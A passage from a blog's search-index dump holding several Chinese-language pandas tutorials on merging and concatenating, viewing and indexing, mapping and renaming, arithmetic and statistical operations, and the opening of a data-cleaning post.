left=pd.DataFrame([[3,\u0026#39;张三\u0026#39;],[4,\u0026#39;李四\u0026#39;],[5,\u0026#39;王五\u0026#39;],[6,\u0026#39;赵六\u0026#39;],[7,\u0026#39;钱七\u0026#39;]], columns=[\u0026#39;编号\u0026#39;,\u0026#39;姓名\u0026#39;]) right=pd.DataFrame([[3,\u0026#39;张三\u0026#39;,13000],[4,\u0026#39;李四\u0026#39;,15000],[5,\u0026#39;王五\u0026#39;,9000],[6,\u0026#39;赵六\u0026#39;,8600],[8,\u0026#39;孙八\u0026#39;,10000]], columns=[\u0026#39;编号\u0026#39;,\u0026#39;姓名\u0026#39;,\u0026#39;工资\u0026#39;]) 1 pd.merge(left,right) 没有指定连接键，默认用重叠列名，没有指定连接方式，默认inner内连接（取left和right编号和姓名的交集） 和join一样通过how来指定连接方式如：\n1 pd.merge(left,right,how=\u0026#39;left\u0026#39;) how的连接方式和join一样支持left、right、inner、outer merge还可以指定多个列进行合并链接，也就是和SQL一样设置多个关联的列。\n1 pd.merge(left,right,how=\u0026#39;outer\u0026#39;,on=[\u0026#39;编号\u0026#39;,\u0026#39;姓名\u0026#39;]) 如果两个对象的列名不同，可以使用left_on，right_on分别指定，如我们把right数据集的“编码”列标签改成“ID”后如果需要left数据集的\u0026quot;编号\u0026quot;和right数据集的\u0026quot;ID\u0026quot;进行关联\n1 2 3 right=pd.DataFrame([[3,\u0026#39;张三\u0026#39;,13000],[4,\u0026#39;李四\u0026#39;,15000],[5,\u0026#39;王五\u0026#39;,9000],[6,\u0026#39;赵六\u0026#39;,8600],[8,\u0026#39;孙八\u0026#39;,10000]],columns=[\u0026#39;ID\u0026#39;,\u0026#39;姓名\u0026#39;,\u0026#39;工资\u0026#39;]) pd.merge(left,right,how=\u0026#39;outer\u0026#39;,left_on=\u0026#39;编号\u0026#39;,right_on=\u0026#39;ID\u0026#39;) 虽然说merge已经很强大了，但是pandas愿意给你更多，它提供了concat，可以实现横向和纵向的合并与拼接。也就是说不但实现了SQL中的join还实现了union\n三、concat concat() 函数用于沿某个特定的轴执行连接操作，语法如下：\n1 pd.concat(objs,axis=0,join=\u0026#39;outer\u0026#39;,join_axes=None,ignore_index=False) 参数名称 说明 objs 一个序列或者是Series、DataFrame对象。 axis 表示在哪个轴方向上（行或者列）进行连接操作，默认 axis=0 表示行方向。 join 指定连接方式，取值为{\u0026ldquo;inner\u0026rdquo;,\u0026ldquo;outer\u0026rdquo;}，默认为 outer 表示取并集，inner代表取交集。 ignore_index 布尔值参数，默认为 False，如果为 True，表示不在连接的轴上使用索引。 join_axes 表示索引对象的列表。 来看具体的例子\n1 left2=pd.DataFrame([[1,\u0026#39;陈一\u0026#39;],[2,\u0026#39;周二\u0026#39;]],columns=[\u0026#39;编号\u0026#39;,\u0026#39;姓名\u0026#39;]) 1、纵向合并 concat默认纵向拼接，我们要在left1数据集的基础上把left2数据集给合并上去，很简单用concat直接就可以合并。\n1 df=pd.concat([left,left2]) 2、横向合并 1 2 df_outer=pd.concat([left,right],axis=1,join=\u0026#39;outer\u0026#39;)#外链接 df_inner=pd.concat([left,right],axis=1,join=\u0026#39;inner\u0026#39;)#内链接 注意：因为concat的链接和join一样是通过索引来链接合并，并不能指定通过某个特定的列来链接进行合并，所以看到的合并后的数据集left和right的编号和姓名是错位的。\n如果要根据编号来关联可以指定编号作为索引再进行横向合并，这样就没有问题了。\n1 2 3 4 left.index=left[\u0026#39;编号\u0026#39;].values right.index=right[\u0026#39;编号\u0026#39;].values df_outer=pd.concat([left,right],axis=1,join=\u0026#39;outer\u0026#39;) df_inner=pd.concat([left,right],axis=1,join=\u0026#39;inner\u0026#39;) 四、append df.append 可以将其他行附加到调用方的末尾，并返回一个新对象。它是最简单常用的数据合并方式。语法如下：\n1 df.append(self, other, ignore_index=False,verify_integrity=False, sort=False) 其中：\nother 是它要追加的其他 DataFrame 或者类似序列内容 ignore_index 如果为 True 则重新进行自然索引 verify_integrity 如果为 True 则遇到重复索引内容时报错 sort 进行排序 来看下面的例子：\n1、同结构数据追加 将同结构的数据追加在原数据后面，在left数据集后面追加left2数据集，left2的数据集内容如下：\n1 2 left2=pd.DataFrame([[1,\u0026#39;陈一\u0026#39;],[2,\u0026#39;周二\u0026#39;]],columns=[\u0026#39;编号\u0026#39;,\u0026#39;姓名\u0026#39;]) left2 1 left.append(left2) 2、不同结构数据追加 不同结构数据追加，原数据没有的列会增加，没有对应内容的会为空NaN。 如：left3的数据集列有\u0026quot;编号\u0026quot;、\u0026ldquo;姓名\u0026rdquo;、\u0026ldquo;工资\u0026rdquo;\n1 2 left3=pd.DataFrame([[8,\u0026#39;孙八\u0026#39;,10000],[9,\u0026#39;何九\u0026#39;,15000]],columns=[\u0026#39;编号\u0026#39;,\u0026#39;姓名\u0026#39;,\u0026#39;工资\u0026#39;]) left3 1 left.append(left3) 当left后追加left3后的数据集会增加“工资列”，没有对应内容的会为空。\n3、追加合并多个数据集 append参数可带数据集列表，可以将多个数据集追加到原数据集 如我们将left2和left3都追加到left\n1 left.append([left2,left3]) 五、combine_first combine_first可用于合并重复数据，用其他数据集填充没有的数据。如一个DataFrame数据集中出现了缺失数据，就可以用其他DataFrame数据集中的数据进行填充。语法格式如下：\n1 combine_first(other) #只有一个参数other，该参数用于接收填充缺失值的DataFrame对象。 如left数据集中没有\u0026quot;工资\u0026quot;的数据，我们可以用right数据集有的数据去填充left数据集中的数据。\n1 left.combine_first(right) #用right去填充left 六、update update和combine_first比较类似，区别在于： 1、填充合并方式稍有差异 combine_first：如果s1中c的值为空，用s2的值替换，否则保留s1的值 update：如果s2中的值不为空，那么替换s1，否则保留s1的值 2、update是更新原数据，combine_first会返回一个填充后的新数据集，对原数据不做更新。\n1 left.update(right) #用right的数据更新left中的数据。 至此，本文介绍了pandas的多种数据合并与拼接方法，并介绍了每种方法的异同，通过pandas的数据处理可以应付日常数据处理中大部分的数据处理工作。\n数据集及源代码见：https://github.com/xiejava1018/pandastest.git\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-02-10-pandas%E6%95%B0%E6%8D%AE%E5%A4%84%E7%90%86%E4%B9%8B%E5%90%88%E5%B9%B6%E4%B8%8E%E6%8B%BC%E6%8E%A5/","summary":"\u003cp\u003e在许多应用中，数据可能来自不同的渠道，在数据处理的过程中常常需要将这些数据集进行组合合并拼接，形成更加丰富的数据集。pandas提供了多种方法完全可以满足数据处理的常用需求。具体来说包括有join、merge、concat、append等。\u003c/p\u003e","title":"pandas数据处理之合并与拼接"},{"content":"对于数据分析来说，在构造或载入数据后最基本的操作应该就是对数据的访问了。看一看数据的结构、组成、分布等，根据需要从数据集中检索提取出相应的数据。pandas作为数据分析的利器，当然提供了多种查看和检索数据的方法。本文就来捋一捋pandas基本的数据访问。\n一、查看数据 当我们拿到数据集后，第一步可能就是查看数据了，一方面是了解拿到的数据集的数据结构，另一方面随机检查一下数据的质量问题。 不管是Series还是DataFrame的数据集pandas常用的数据查看方法有：\n方法 操作 结果 head(n) 查看数据集对象的前n行 Series或DataFrame tail(n) 查看数据集的最后n行 Series或DataFrame sample(n) 随机查看n个样本 Series或DataFrame describe() 数据集的统计摘要 Series 以下就以一个DataFrame数据集为例来看看这些查看数据的方法。\n1 2 3 4 import numpy as np import pandas as pd df = pd.read_excel(\u0026#39;D:\\\\Python\\\\study\\\\pythontest\\\\pandastest\\\\数据集\\\\staff.xlsx\u0026#39;) df 1、查看头部 head(n) head()方法如果不带参数，默认返回前5条记录，带了参数n就返回前n条记录。\n1 2 df.head() #默认查看前5条记录 df.head(8) #指定查看前8条记录 2、查看尾部 tail(n) 同样tail()方法如果不带参数，默认返回后面5条记录，带了参数n就返回后面n条记录。\n1 2 df.tail() #默认查看后面5条记录 df.tail(4) #指定查看后面4条记录 3、随机查看样本 sample(n) sample() 不带参数会随机返回一条样本数据，带了参数n就会随机返回n条记录。\n1 2 df.sample() #随机查看一条记录 df.sample(4) #随机查看4条记录 4、查看统计摘要 df.describe() 返回所有数字列的统计摘要。 这里连staff_id的统计摘要就显示出来了，因为它是数字列。如果只看某一列的统计摘要\n1 df[[\u0026#39;staff_salary\u0026#39;]].describe() 二、检索数据 在数据分析过程中，很多时候需要从数据表中提取出相应的数据，而这么做的前提是需要先“检索”出这一部分数据。虽然通过 Python 提供的索引操作符\u0026quot;[]\u0026ldquo;和属性操作符\u0026rdquo;.\u0026ldquo;可以访问 Series 或者 DataFrame 中的数据，但这种方式只适应与少量的数据，为了解决这一问题，pandas 提供了多种类型的索引方式来实现数据的访问。包括[]、loc\\iloc、at\\iat、布尔索引 一般的: df[\u0026rsquo;name\u0026rsquo;] #会返回本列的Series df.name #也会返回本列的Series\n但是要注意，name应该是一个合法的python变量时才可以直接作为属性来使用。\n如： df[\u0026lsquo;1级别\u0026rsquo;]可以正常返回索引列为“1级别”的数据，而df.1级别会报错，因为\u0026quot;1级别\u0026quot;不是一个合法的python变量。 以下通过DataFrame数据集来说明常用检索数据的方法。对于DataFrame的数据集来说要检索数据通常是确定数据所在的行和列。而确定行和列也有两种方式，一是通过标签索引来确定，二是通过数据所在的位置来确定。 一般的：\n操作 语法 返回结果 选择列 df[col] Series 按索引选择行 df.loc[label] Series 按位置选择行 df.iloc[loc] Series 使用切片选择行 df[2:5] DataFrame 用表达式筛选行 df[bool] DataFrame 1、切片[] 通过[]进行检索，这将会对行进行切片\n1 df[0:3] #通过切片检索行数据 切片并不对列有效，如果是df[0:3][1:2]，会检索出0-3行，再在这三行切片的基础上切片中检索出第二行。 如果要在切片检索的结果上再选择列，则可以通过列标签索引列表来选择\n1 df[0:3][[\u0026#39;staff_id\u0026#39;,\u0026#39;staff_name\u0026#39;,\u0026#39;staff_gender\u0026#39;]] #通过列标签索引列表检索列数据 2、loc\\iloc loc df.loc[] 只能使用标签索引，不能使用位置索引。当通过标签索引的切片方式来筛选数据时，它的取值前闭后闭，也就是只包括边界值标签（开始和结束） .loc[] 具有多种访问方法，如下所示：\n一个标量标签 标签列表 切片对象 1 2 3 4 5 df.loc[1] #标量标签，返回该行标签的Series数据 df.loc[[1,3]] #标签列表，返回标签列表的行DataFrame数据 df.loc[0:3] #切片对象，返回切片的行DataFrame数据 df.loc[0:3,\u0026#39;staff_id\u0026#39;:\u0026#39;staff_salary\u0026#39;] #根据行切片，列切片检索数据 df.loc[[0,1,2,3],[\u0026#39;staff_id\u0026#39;,\u0026#39;staff_name\u0026#39;,\u0026#39;staff_age\u0026#39;]] #根据行标签列表，列标签列表检索数据 .loc[] 除了标量标签，标签列表和切片对象都接受两个参数，并以\u0026rsquo;,\u0026lsquo;分隔。第一个位置表示行检索，第二个位置表示列检索 iloc df.iloc[] 只能使用位置索引(用整数表示所在行或列的位置如第几行第几列)，不能使用标签索引，通过整数索引切片选择数据时，前闭后开(不包含边界结束值)。同 Python 和 NumPy 一样，它们的索引都是从 0 开始 .iloc[] 提供了以下方式来选择数据：\n整数索引 整数列表 数值范围 为了说明方便，我们把数据集的行索引重名为字母\n1 2 df=df.rename(index={0:\u0026#39;A\u0026#39;,1:\u0026#39;B\u0026#39;,2:\u0026#39;C\u0026#39;,3:\u0026#39;D\u0026#39;,4:\u0026#39;E\u0026#39;,5:\u0026#39;F\u0026#39;,6:\u0026#39;G\u0026#39;,7:\u0026#39;H\u0026#39;,8:\u0026#39;I\u0026#39;,9:\u0026#39;J\u0026#39;}) df 1 2 3 4 df.iloc[1] #整数标量选择，数据从0开始，为1的就是第二行的数据，返回的是Series df.iloc[[1,3]] #整数列表选择，选择位置为1和3的数据，返回的是DataFrame df.iloc[1:3] #切片选择，选择位置1至2的数据，不包含边界结束值，也就是不包含3的位置 df.iloc[1:3,1:4] #切片选择位置为1至3的行和1至4的列不含位置为3的行和位置为4的列 3、at\\iat at和iat和loc和iloc类似，不同的是at和iat仅取一个具体的值，结构为 at[\u0026lt;索引\u0026gt;,\u0026lt;列名\u0026gt;]，iat[\u0026lt;行位置\u0026gt;,\u0026lt;列位置\u0026gt;]\n1 2 df.at[\u0026#39;A\u0026#39;,\u0026#39;staff_name\u0026#39;] #检索第“A”行的列标签为\u0026#34;staff_name\u0026#34;的数据 df.iat[0,1] #检索第1行第2列的数据 4、布尔条件检索 1、[] 里用布尔条件进行检索 如：\n1 df[(df.staff_salary\u0026gt;10000)\u0026amp;(df.staff_age\u0026lt;40)] #检索staff_age小于40且staff_salary\u0026gt;10000的数据 2、loc索引部分用布尔条件检索 如：\n1 df.loc[(df.staff_salary\u0026gt;10000)\u0026amp;(df.staff_age\u0026lt;40)] #检索staff_age小于40且staff_salary\u0026gt;10000的数据 3、query函数布尔条件检索 如：\n1 df.query(\u0026#39;staff_salary\u0026gt;10000 \u0026amp; staff_age\u0026lt;40\u0026#39;) #通过函数检索staff_age小于40且staff_salary\u0026gt;10000的数据 至此，本文介绍了pandas常用的数据访问操作通过head()、tail()、sample()、describe()查看数据，通过[]、loc\\iloc、at\\iat、及布尔条件检索数据。通过灵活运用pandas的各种数据访问方法可以很方便的根据需要查看和检索数据。\n数据集及源代码见：https://github.com/xiejava1018/pandastest.git\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-02-07-pandas%E5%9F%BA%E6%9C%AC%E6%93%8D%E4%BD%9C%E4%B9%8B%E6%95%B0%E6%8D%AE%E8%AE%BF%E9%97%AE-%E6%9F%A5%E7%9C%8B%E4%B8%8E%E6%A3%80%E7%B4%A2/","summary":"\u003cp\u003e对于数据分析来说，在构造或载入数据后最基本的操作应该就是对数据的访问了。看一看数据的结构、组成、分布等，根据需要从数据集中检索提取出相应的数据。pandas作为数据分析的利器，当然提供了多种查看和检索数据的方法。本文就来捋一捋pandas基本的数据访问。\u003c/p\u003e","title":"pandas基本操作之数据访问(查看与检索)"},{"content":"我们在数据处理的过程中经常碰到需要对数据进行转换的工作，比如将原来数据里的字典值根据字典转义成有意义的说明，将某些数据转换成其他的数据，将空值转换成其他值，将数据字段名进行重命名等。pandas作为数据处理分析的利器当然为上述的这些数据转换提供了便捷的方法。我们可以利用pandas提供的映射、替换、重命名等操作方便的进行相应的数据转换操作。\n本文通过实例重点介绍pandas常用的数据转换工具映射map()、替换replace()、重命名rename()\n映射：map()函数 对数据集Serice中的元素根据映射关系进行映射（作用于Serice或DataFrame对象的一列） 替换：replace()函数 替换元素 (作用于DataFrame) 重命名：rename()函数 替换索引 (作用于index或columns)\n一、映射 map() 在平时数据处理的过程中常常会碰到，某个字段（数据列）是数字表示的要根据映射表转换成有意思的字符。如性别在数据集里存的是1和2分别表示“男”和“女”，如何将数据集中“性别”列的1和2替换成“男”和“女”如何做？绝对不能用for循环一个个去替换。pandas也好、Numpy也好，都是针对数据集处理的，我们应该抛弃以前针对单个数据处理的思维去拥抱针对数据集来编程。使用pandas的map()方法，最少仅需一行代码就可以解决。 map() 函数是做用于 Series 或 DataFrame 对象的一列，它接收一个函数或表示映射关系的字典做为参数，它的基本语法格式以下：\n1 Series.map(arg,na_action=None) 函数中的参数说明以下：\narg：接收 function、dict 或 Series，表示映射关系； na_action：类似R中的na.action，取值为None或ingore，用于控制遇到缺失值的处理方式，设置为ingore时串行运算过程中将忽略Nan值原样返回。 下面通过实例来说明pandas的map()的使用，演示的student数据集如下：\n1 2 3 4 import numpy as np import pandas as pd df = pd.read_excel(\u0026#39;D:\\\\Python\\\\study\\\\pythontest\\\\pandastest\\\\数据集\\\\student.xlsx\u0026#39;) df 1、通过数据字典映射 map()方法接受数据字典参数，通过数据字典将数据进行映射。如我们需要将“性别”列的1和2替换成“男”和“女”，定义一个数据字典{1:\u0026lsquo;男\u0026rsquo;,2:\u0026lsquo;女\u0026rsquo;}，将1映射成“男”，将2映射成“女”。\n1 2 3 gender_map={1:\u0026#39;男\u0026#39;,2:\u0026#39;女\u0026#39;} df[\u0026#39;性别\u0026#39;]=df[\u0026#39;性别\u0026#39;].map(gender_map) df 可以看到通过map()将需要转换的列的值进行的转换，具体的转换过程如下图所示： 2、lambda函数映射 map()方法还接受lambda函数的方式进行值的映射，如我们现在要把数学分数为95分以上的映射数学等级为“优秀”，95及以下的映射为“良好”。可以通过lambda函数进行映射。\n1 2 df[\u0026#39;数学等级\u0026#39;]=df[\u0026#39;5-数学\u0026#39;].map(lambda x:\u0026#39;优秀\u0026#39; if x\u0026gt;95 else \u0026#39;良好\u0026#39;) df 3、通用函数映射 map()方法可以接收自定义通用的函数进行值的映射，如我们现在要把语文分数为95以上的映射为语文等级为“优秀”，95及以下的映射为“良好”，也可以通过自定义函数来实现映射。 先定义一个函数score(x)用于接收需要映射的值。\n1 2 3 4 5 6 7 8 def score(x): score_class=\u0026#39;良好\u0026#39; if x\u0026gt;95: score_class=\u0026#39;优秀\u0026#39; return score_class df[\u0026#39;语文等级\u0026#39;]=df[\u0026#39;4-语文\u0026#39;].map(score) df 二、替换 replace() 如果要对全DataFrame数据集中的数据进行某种替换，map()可能需要对数据集中的每个列都进行map()操作才可以，但是通过pandas的替换方法replace可以一次性替换掉DataFrame中所有的数据。如：我们现在要将数据集中所有的“良好”替换成“良”，所有的“优秀”替换成“优” 可以直接通过 df.replace(['优秀','良好'],['优','良']) 一句代码搞定。 以前文章中介绍了处理缺失值用fillna的方式来填充缺失值，用replace则提供了一种更加简单、灵活的处理缺失值或异常值的方式。 如在数据集中有一个数据列“是否接种”，这里的值有“已”、“是”、“否”、NaN，实际是在收集统计表格的时候大家填的数据不一致，不标准。现在需要将“已”的全部改成“是”，NaN没有填的改成“否”\n1 df.replace([\u0026#39;已\u0026#39;,np.nan],[\u0026#39;是\u0026#39;,\u0026#39;否\u0026#39;]) 三、重命名 rename() 在数据处理的过程有时候需要对列索引进行重命名，一个典型的例子就是对于数据的检索或其他操作df[column]对于任意列名均有效，但是df.column只在列名是有效的Python变量名时才有效。 我们在检索英语大于95分的数据时可以用df[df['6-英语']\u0026gt;95] 但是用df.query('6-英语 \u0026gt;95') 就会报列名没有定义的错，因为'6-英语\u0026rsquo;列名不是有效的Python变量名。 这时候就需要将列名重命名为有效的Python变量名，有效的Python变量名应该是只能_，数字，字母组成，不可以是空格或者特殊字符(!@#$%^\u0026amp;*~)，不能是数字开头，不能有中文。我们将“6-英语”的列名重命名为“english”。注意带上inplace=True参数用于更新作用于本数据集，而不是返回一个新的数据集。\n1 2 df.rename(columns={\u0026#39;6-英语\u0026#39;:\u0026#39;english\u0026#39;},inplace=True) df.query(\u0026#39;english \u0026gt; 95\u0026#39;) 可以看到“6-英语”列名改成了“english”，并且df.query(\u0026rsquo;english \u0026gt; 95\u0026rsquo;)不报错，可以正常检索出数据了。 更多的，如果要重命名多个列，可以传入一个需要重命名的多个字典值，进行多个列的重命名。\n1 df[[\u0026#39;1-学号\u0026#39;,\u0026#39;2-姓名\u0026#39;,\u0026#39;3-年龄\u0026#39;]].rename(columns={\u0026#39;1-学号\u0026#39;:\u0026#39;ID\u0026#39;,\u0026#39;2-姓名\u0026#39;:\u0026#39;name\u0026#39;,\u0026#39;3-年龄\u0026#39;:\u0026#39;age\u0026#39;}) 如果需要重命名行索引，可以通过df.rename(index={\u0026lsquo;原索引\u0026rsquo;:\u0026lsquo;重命名索引\u0026rsquo;})的方式进行重命名。\n至此，本文通过几个实例介绍了pandas常用的数据转换工具映射map()、替换replace()、重命名rename()\n数据集及源代码见：https://github.com/xiejava1018/pandastest.git\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-02-04-pandas%E6%95%B0%E6%8D%AE%E5%A4%84%E7%90%86%E4%B9%8B%E6%95%B0%E6%8D%AE%E8%BD%AC%E6%8D%A2-%E6%98%A0%E5%B0%84map%E6%9B%BF%E6%8D%A2replace%E9%87%8D%E5%91%BD%E5%90%8Drename/","summary":"\u003cp\u003e我们在数据处理的过程中经常碰到需要对数据进行转换的工作，比如将原来数据里的字典值根据字典转义成有意义的说明，将某些数据转换成其他的数据，将空值转换成其他值，将数据字段名进行重命名等。pandas作为数据处理分析的利器当然为上述的这些数据转换提供了便捷的方法。我们可以利用pandas提供的映射、替换、重命名等操作方便的进行相应的数据转换操作。\u003c/p\u003e","title":"pandas数据处理之数据转换(映射map、替换replace、重命名rename)"},{"content":"数据分析离不开数据运算，在介绍完pandas的数据加载、排序和排名、数据清洗之后，本文通过实例来介绍pandas的常用数据运算，包括逻辑运算、算术运算、统计运算及自定义运算。\n一、逻辑运算 逻辑运算是程序代码中经常用到的一种运算。pandas的逻辑运算与Python基础语法中的逻辑运算存在一些差异。pandas的逻辑运算主要用于条件过滤根据条件逻辑运算得出的结果过滤检索出相应的数据。 我们来看一些例子： 数据集为学生数据集\n1 2 3 4 import pandas as pd import numpy as np df = pd.read_excel(\u0026#39;D:\\\\Python\\\\study\\\\pythontest\\\\pandastest\\\\数据集\\\\student.xlsx\u0026#39;) df 我们要过滤检索出语文成绩大于95分的数据，通过df['4-语文']\u0026gt;95的条件语句，可以得到一个结果为bool值的Series，True表示满足语文成绩\u0026gt;95分的，False表示不满足语文成绩\u0026gt;95的。 在pandas中，将Series与数值进行比较，会得到一个与自身形状相同且全为布尔值的Series，每个位置的布尔值对应该位置的比较结果。 这种进行比较的代码，返回值是布尔值，是一种布尔表达式，也可以被称为逻辑语句，只要代码返回的结果是布尔值，都可以把代码当成逻辑语句。 根据逻辑语句的布尔值，可以用来对数据进行筛选，按我们的需要从大量数据中过滤出目标数据。如我们要过滤出语文成绩大于95的数据，就可以用上述逻辑语句的布尔值进行筛选。\n1 df[df[\u0026#39;4-语文\u0026#39;]\u0026gt;95] 除了直接的比较，pandas中有很多函数都会返回布尔值，如all()，any()，isna()等对整个DataFrame或Series的判断结果，eq()，ne()，lt()，gt()等比较函数的结果，都是布尔值。 逻辑语句是为逻辑运算服务的，可以直接作为判断条件。在复杂的逻辑关系中，需要使用复合逻辑运算，用逻辑运算符来连接多个逻辑语句，复合逻辑运算包含：逻辑与\u0026amp;、逻辑或|、逻辑非~。\n逻辑与\u0026amp; pandas中用符号 \u0026amp; 表示逻辑与，连接两个逻辑语句，同时为真才为真。在Python基本语法中，使用 and 表示逻辑与，但是Pandas中只能用 \u0026amp; ，不能用and，会报模糊错误。 如我们要检索出一班并且语文成绩大于95的数据。可以用 df[(df['4-语文']\u0026gt;95) \u0026amp; (df['班级']=='一班')] 注意两个条件逻辑语句要分别用()括起来然后再用逻辑运算符进行运算。 逻辑或| pandas中用符号 | 表示逻辑或，连接两个逻辑语句，只要其中一个为真就为真。 在Python基本语法中，使用 or 表示逻辑或，但是Pandas中只能用 | ，不能用or。 如我们要检索出语文成绩大于95或英语成绩大于96的数据\n1 df[(df[\u0026#39;4-语文\u0026#39;]\u0026gt;95)|(df[\u0026#39;6-英语\u0026#39;]\u0026gt;96)] 逻辑非~ pandas中用符号 ~ 表示逻辑非，对逻辑语句取反。 在Python基本语法中，使用 not 表示逻辑非，但是Pandas中只能用 ~ ，不能用not。 如我们要检索出数据成绩\u0026gt;98并且不是一班的同学\n1 df[(df[\u0026#39;5-数学\u0026#39;]\u0026gt;98) \u0026amp; ~(df[\u0026#39;班级\u0026#39;]==\u0026#39;一班\u0026#39;)] 当然也可以用\n1 df[(df[\u0026#39;5-数学\u0026#39;]\u0026gt;98) \u0026amp; (df[\u0026#39;班级\u0026#39;]!=\u0026#39;一班\u0026#39;)] 二、算术运算 pandas最重要的一个功能是，它可以对不同索引的对象进行算术运算也就是（+、-、*、\\）。 常见的算术云算是加法+运算，如果相加的对象是标量，则数据对象通过广播机制，每个数据值都+标量。如果相加的对象是数据对象则按索引进行算术运算。 通过一个数据集来看一下\n1 2 3 4 import pandas as pd import numpy as np data1=pd.DataFrame(np.arange(16).reshape((4,4)),columns=[\u0026#39;列1\u0026#39;,\u0026#39;列2\u0026#39;,\u0026#39;列3\u0026#39;,\u0026#39;列4\u0026#39;]) data1 1、使用算术运算符 和标量计算，标量运算会在算术运算过程中传播。\n1 2 data2=data1+1 data2 可以看到数据集中每个值都+1了 和索引相同的数据对象运算，对每个数据值进行算术运算\n1 2 3 data3=pd.DataFrame(np.arange(16).reshape((4,4)),columns=[\u0026#39;列1\u0026#39;,\u0026#39;列2\u0026#39;,\u0026#39;列3\u0026#39;,\u0026#39;列4\u0026#39;]) data4=data2+data3 data4 在将对象相加时，如果存在不同的索引就是该索引对的并集。自动的数据对齐操作在不重叠的索引引入NA值。缺失值会在算术运算过程中传播。\n1 2 data5=pd.DataFrame(np.ones([3,3]),columns=[\u0026#39;列1\u0026#39;,\u0026#39;列2\u0026#39;,\u0026#39;列3\u0026#39;]) data5 1 2 data6=data4+data5 data6 2、使用算数运算函数 算数运算函数包括add、sub、div、mul等对应于算术运算符如下：\n方法 说明 add,radd 用于加法（+）的方法 sub,rsub 用于减法（- ）的方法 div,rdiv 用于除法（/）的方法 floordiv,rfloordiv 用于底除（//）的方法 mul,rmul 用于乘法（* ）的方法 pow,rpow 用于指数（**）的方法 加法： 在对不同索引的对象进行算术运算时，如果希望当一个对象中某个轴标签在另一个对象中找不到时填充一个特殊值比如0，可以通过算术方法进行填充，然后再相加。 上面的例子展示了，因为data5的行索引为3和列索引为列4用0填充后再相加所以行索引为3和列索引为列4的值是data4的值+0\n减法： 1 data4.sub(1) 乘法： 1 data4.mul(2) 除法： 三、统计运算 统计运算就是我们常用的数据集的求和、算平均值、最大值、最小值、绝对值、标准差等统计数据。在pandas中提供了丰富的统计函数可以方便的进行统计运算。\n1、describe汇总描述统计 通过np.random.randn(1000,4)生成1000个正态分布的随机数据集看一下describe的汇总描叙统计。 包含了数据个数count、均值mean、标准差std、最小值min、最大值等。\n1 2 3 #1000个正态分布的随机数统计信息 data=pd.DataFrame(np.random.randn(1000,4)) data.describe() 2、统计函数 pandas常用统计函数如下： 1 data.max() 可以算出DataFrame中每一列的最大值\n如果只需要计算某一列的最大值\n1 data[1].max() 对单个函数进行统计的时候，坐标轴还是按照这些默认为columns(axis=0, default)，如果要对index进行统计，则要指明(axis=1) 这里的axis取值与axis=0对应index，axis=1对应columns不同\n使用0值表示沿着每一列或行标签\\索引值向下执行方法 使用1值表示沿着每一行或者列标签模向执行对应的方法 如果要计算某一行的最大值 用data.loc[0].max()，通过loc[]检索出需要统计的行，再用统计函数进行统计 累计统计cumsum,计算前n个数的和 四、自定义运算 如果常用的统计运算还不能满足，pandas提供了方法可以进行自定义运算。\napply(func, axis=0)\nfunc – 自定义函数 axis=0 – 默认是列（按行标签方向执行方法） axis=1为对行进行运算（按列标签方向执行方法） 如：自定义一个对列求max-min的函数 通过lambda匿名函数\n1 data.apply(lambda x: x.max() - x.min()) # lambda为匿名函数，x为自变量，冒号后面为函数表达式 通过自定义函数\n1 2 3 #自定义函数 def maxdivmin(x): return x.max()-x.min() 至此，本文通过实例简单介绍了pandas数据分析的数据运算包括逻辑运算、算术运算、统计运算、自定义运算，也是平时在实际应用中常用的运算。\n数据集及源代码见：https://github.com/xiejava1018/pandastest.git\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-02-03-pandas%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90%E4%B9%8B%E6%95%B0%E6%8D%AE%E8%BF%90%E7%AE%97-%E9%80%BB%E8%BE%91%E8%BF%90%E7%AE%97%E7%AE%97%E6%9C%AF%E8%BF%90%E7%AE%97%E7%BB%9F%E8%AE%A1%E8%BF%90%E7%AE%97%E8%87%AA%E5%AE%9A%E4%B9%89%E8%BF%90%E7%AE%97/","summary":"\u003cp\u003e数据分析离不开数据运算，在介绍完pandas的数据加载、排序和排名、数据清洗之后，本文通过实例来介绍pandas的常用数据运算，包括逻辑运算、算术运算、统计运算及自定义运算。\u003c/p\u003e","title":"pandas数据分析之数据运算(逻辑运算、算术运算、统计运算、自定义运算)"},{"content":"在数据分析和建模的过程中，有相当多的时间要用在数据准备上：加载、清理、转换以及重塑。这些工作会占到分析师时间的80%或更多。幸运的是pandas和内置的Python标准库提供了高效、灵活的工具可以帮助我们轻松的做这些事情。\n本文重点介绍通过pandas进行数据的清洗。数据处理中的清洗工作主要包括对需要分析的数据集中的缺失值（空值）、重复值、异常值的处理。对于数据清洗一般也是分两个步骤，第一步就是要很方便快速的找到需要处理的数据，如何快速找到数据中的缺失值（空值）、重复数据或异常的数据，第二步是对找到的数据根据自己的实际使用需求进行处理，如删除还是替换成其他的数据。 一、处理缺失值 在许多数据分析工作过程中，由于对数据质量问题，缺失数据是经常发生的。对于数值数据，pandas使用浮点值NaN(Not a Number)表示缺失数据。在pandas中，还采用了R语言中惯用的缺失值表示法NA，它表示不可用not available。在统计应用中，NA数据可能是不存在的数据或虽然存在但是看不到。进行数据清洗对缺失数据进行分析，以判断数据采集的问题或缺失数据导致的偏差。\n1、判断缺失值（空值） 在pandas中通过isna()或isnull()方法判断空值，二者等价，用于判断一个series或dataframe各元素值是否为空的bool结果。需注意对空值的界定：即None或numpy.nan才算空值，而空字符串、空列表等则不属于空值；类似地，notna()和notnull()则用于判断是否非空。 看下实例：\n1 2 3 4 import pandas as pd import numpy as np stud_data=pd.Series([\u0026#39;张三\u0026#39;,\u0026#39;李四\u0026#39;,np.nan,[],\u0026#39;\u0026#39;,None,\u0026#39;王五\u0026#39;]) stud_data 通过stud_data.isnull()和stud_data.isna()分别来判断空值 类似地，notna()和notnull()则用于判断是否非空 同样的对于DataFrame中的缺失数据判断也是一样的。 构建DataFrame\n1 2 stud_df=pd.DataFrame(stud_data,columns=[\u0026#39;student_name\u0026#39;]) stud_df 